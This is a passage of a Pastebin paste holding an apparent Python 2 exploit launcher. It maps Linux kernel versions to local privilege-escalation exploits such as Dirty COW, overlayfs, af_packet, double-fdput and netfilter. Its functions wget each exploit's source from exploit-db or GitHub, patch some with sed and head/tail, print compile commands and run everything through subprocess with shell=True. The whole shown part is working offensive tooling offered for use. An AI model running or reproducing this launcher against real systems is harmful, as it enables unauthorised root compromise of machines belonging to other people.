    601. ('Fixing...',"cp dirtycow_64.c dirtycow_32.c; sed -i 's/0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,/\/* 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,/g' dirtycow_32.c; sed -i 's/unsigned int sc_len = 177;/unsigned int sc_len = 177; *\//g' dirtycow_32.c; sed -i 's/0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,/*\/ 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,/g' dirtycow_32.c; sed -i 's/unsigned int sc_len = 136;/unsigned int sc_len = 136;\/*/g' dirtycow_32.c"),
    602. ('Compile with:','echo "gcc -o dirtycow_64 dirtycow_64.c -pthread"; echo "gcc -o dirtycow_32 dirtycow_32.c -pthread"')
    603. ]
    604. run(commands)
    605. def msr():
    606. commands = [
    607. ('Downloading...','wget https://www.exploit-db.com/download/27297 -O msr_expl.c'),
    608. ('Compile with:','echo "gcc -o msr_expl msr_expl.c"')
    609. ]
    610. run(commands)
    611. def perf_swevent_init():
    612. commands = [
    613. ('Downloading...','wget https://www.exploit-db.com/download/26131 -O perf.c'),
    614. ('Compile with:','echo "gcc -o perf perf.c"')
    615. ]
    616. run(commands)
    617. def overlayfs_2():
    618. commands = [
    619. ('Downloading...','wget https://www.exploit-db.com/download/39166 -O overlayfs.c'),
    620. ('Compile with:','echo "gcc -o overlayfs overlayfs.c"')
    621. ]
    622. run(commands)
    623. def overlayfs_3():
    624. commands = [
    625. ('Downloading...','wget https://www.exploit-db.com/download/39230 -O overlayfs.c'),
    626. ('Compile with:','echo "gcc -o overlayfs overlayfs.c"')
    627. ]
    628. run(commands)
    629. def af_packet():
    630. commands = [
    631. ('Downloading...','wget https://www.exploit-db.com/download/40871 -O af_packet.c'),
    632. ('Compile with: ','echo "gcc -o af_packet af_packet.c -lpthread"')
    633. ]
    634. run(commands)
    635. def double_fdput():
    636. commands = [
    637. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip -O double_fdput.zip'),
    638. ('Unpacking...','unzip double_fdput.zip; cd 39772; tar xvf exploit.tar;'),
    639. ('Compile with: ','echo "cd 39772/ebpf_mapfd_doubleput_exploit; ./compile.sh"'),
    640. ('Run ./doubleput','')
    641. ]
    642. run(commands)
    643. def netfilter():
    644. commands = [
    645. ('Downloading...','wget https://www.exploit-db.com/download/40049 -O netfilter.c'),
    646. ('Fixing...','tail -n 50 netfilter.c > pwn.c; head -n 213 netfilter.c > intermediate.c; tail -n 208 intermediate.c > decr.c'),
    647. ('Compile with:','echo "gcc -o decr decr.c -m32 -O2; gcc pwn.c -O2 -o pwn"'),
    648. ('Run decr, then pwn',''),
    649. ('Cleaning up...','rm netfilter.c intermediate.c')
    650. ]
    651. run(commands)
    652. def refcount():
    653. commands = [
    654. ('Downloading...','wget https://www.exploit-db.com/download/39277 -O refcount.c'),
    655. ('Compile with:','echo "gcc -o refcount refcount.c -lkeyutils -Wall"')
    656. ]
    657. run(commands)
    658. exploits_linux_local = [
    659. ("linux-exploit-suggester" , linux_exploit_suggester),
    660. ("unix_privesc_check" , unix_privesc_check),
    661. ("kernel 2.4.x / 2.6.x (sock_sendpage 1)" , sendpage_1),
    662. ("kernel 2.4 / 2.6 (sock_sendpage 2)" , sendpage_2),
    663. ("kernel < 2.6.22 (ftruncate)" , ftruncate),
    664. ("kernel < 2.6.34 (cap_sys_admin)" , cap_sys_admin),
    665. ("kernel 2.6.27 < 2.6.36 (compat)" , compat),
    666. ("kernel < 2.6.36-rc1 (can bcm)" , can_bcm),
    667. ("kernel <= 2.6.36-rc8 (rds protocol)" , rdsProtocol),
    668. ("*kernel < 2.6.36.2 (half nelson)" , halfNelson),
    669. ("*kernel <= 2.6.37 (full nelson)" , fullNelson),
    670. ("kernel 2.6 (udev)" , udev),
    671. ("kernel 3.13 (sgid)" , sgid),
    672. ("kernel 3.13.0 < 3.19 (overlayfs 1)" , overlayfs_1),
    673. ("kernel 3.14.5 (libfutex)" , libfutex),
    674. ("kernel 2.6.39 <= 3.2.2 (mempodipper)" , mempodipper),
    675. ("*kernel 2.6.28 / 3.0 (alpha-omega)" , alpha_omega),
    676. ("kernel 2.6.22 < 3.9 (Dirty Cow)" , dirtycow),
    677. ("kernel 3.7.6 (msr)" , msr),
    678. ("*kernel < 3.8.9 (perf_swevent_init)" , perf_swevent_init),
    679. ("kernel <= 4.3.3 (overlayfs 2)" , overlayfs_2),
    680. ("kernel 4.3.3 (overlayfs 3)" , overlayfs_3),
    681. ("kernel 4.4.0 (af_packet)" , af_packet),
    682. ("kernel 4.4.x (double-fdput)" , double_fdput),
    683. ("kernel 4.4.0-21 (netfilter)" , netfilter),
    684. ("*kernel 4.4.1 (refcount)" , refcount)
    685. ]
    686. # ------------------------------------
    687. # UTILITY
    688. # ------------------------------------
    689. def endpoints(i):
    690. try:
    691. i = int(i)
    692. except ValueError:
    693. return 0
    694. if i <= 0:
    695. return 0
    696. elif i == 1:
    697. return len(exploits_windows_remote)
    698. elif i == 2:
    699. return len(exploits_windows_remote) + len(exploits_windows_local)
    700. elif i == 3:
    701. return len(exploits_windows_remote) + len(exploits_windows_local) + len(exploits_linux_remote)
    702. elif i >= 4:
    703. return len(exploits_windows_remote) + len(exploits_windows_local) + len(exploits_linux_remote) + len(exploits_linux_local)
    704. def usage():
    705. print "USAGE: %s <exploit id>" % sys.argv[0]
    706. print "\nWindows Remote Exploits:"
    707. for i in range(endpoints(0), endpoints(1)):
    708. print "%i: %s" % (i, exploits_windows_remote[i-endpoints(0)][0])
    709. print "\nWindows Local Exploits:"
    710. for i in range(endpoints(1), endpoints(2)):
    711. print "%i: %s" % (i, exploits_windows_local[i-endpoints(1)][0])
    712. print "\nLinux Remote Exploits:"
    713. for i in range(endpoints(2), endpoints(3)):
    714. print "%i: %s" % (i, exploits_linux_remote[i-endpoints(2)][0])
    715. print "\nLinux Local Exploits:"
    716. for i in range(endpoints(3), endpoints(4)):
    717. print "%i: %s" % (i, exploits_linux_local[i-endpoints(3)][0])
    718. def select(i):
    719. if i < 0 or i >= endpoints(4):
    720. return False
    721. if i < endpoints(1):
    722. printStep("Constructing %s" % exploits_windows_remote[i-endpoints(0)][0])
    723. exploits_windows_remote[i-endpoints(0)][1]()
    724. elif i < endpoints(2):
    725. printStep("Constructing %s" % exploits_windows_local[i-endpoints(1)][0])
    726. exploits_windows_local[i-endpoints(1)][1]()
    727. elif i < endpoints(3):
    728. printStep("Constructing %s" % exploits_linux_remote[i-endpoints(2)][0])
    729. exploits_linux_remote[i-endpoints(2)][1]()
    730. elif i < endpoints(4):
    731. printStep("Constructing %s" % exploits_linux_local[i-endpoints(3)][0])
    732. exploits_linux_local[i-endpoints(3)][1]()
    733. return True
    734. def run(commands):
    735. try:
    736. for c in commands:
    737. printStep(c[0])
    738. subprocess.check_call(c[1], shell=True)
    739. except subprocess.CalledProcessError:
    740. printErr("Command failed")
    741. return False
    742. except OSError:
    743. printErr("Command failed")
    744. return False
    745. return True
    746. def printStep(s):
    747. print "%s [*] %s %s" % ('0円33[93m', s, '0円33[0m')
    748. def printErr(s):
    749. print "%s [!] %s %s" % ('0円33[91m', s, '0円33[0m')
    750. def printGood(s):
    751. print "%s [+] %s %s" % ('0円33[92m', s, '0円33[0m')
    752. # ------------------------------------
    753. # MAIN
    754. # ------------------------------------
    755. if len(sys.argv) <> 2:
    756. usage()
    757. sys.exit()
    758. try:
    759. success = select(int(sys.argv[1]))
    760. if not success:
    761. print "[-] Invalid selection: %s" % sys.argv[1]
    762. usage()
    763. except ValueError:
    764. print "[-] Invalid selection: %s" % sys.argv[1]
    765. usage()
    Advertisement
    Add Comment
    Please, Sign In to add comment
    Public Pastes
    We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
    Not a member of Pastebin yet?
    Sign Up, it unlocks many cool features!

    AltStyle によって変換されたページ (->オリジナル) /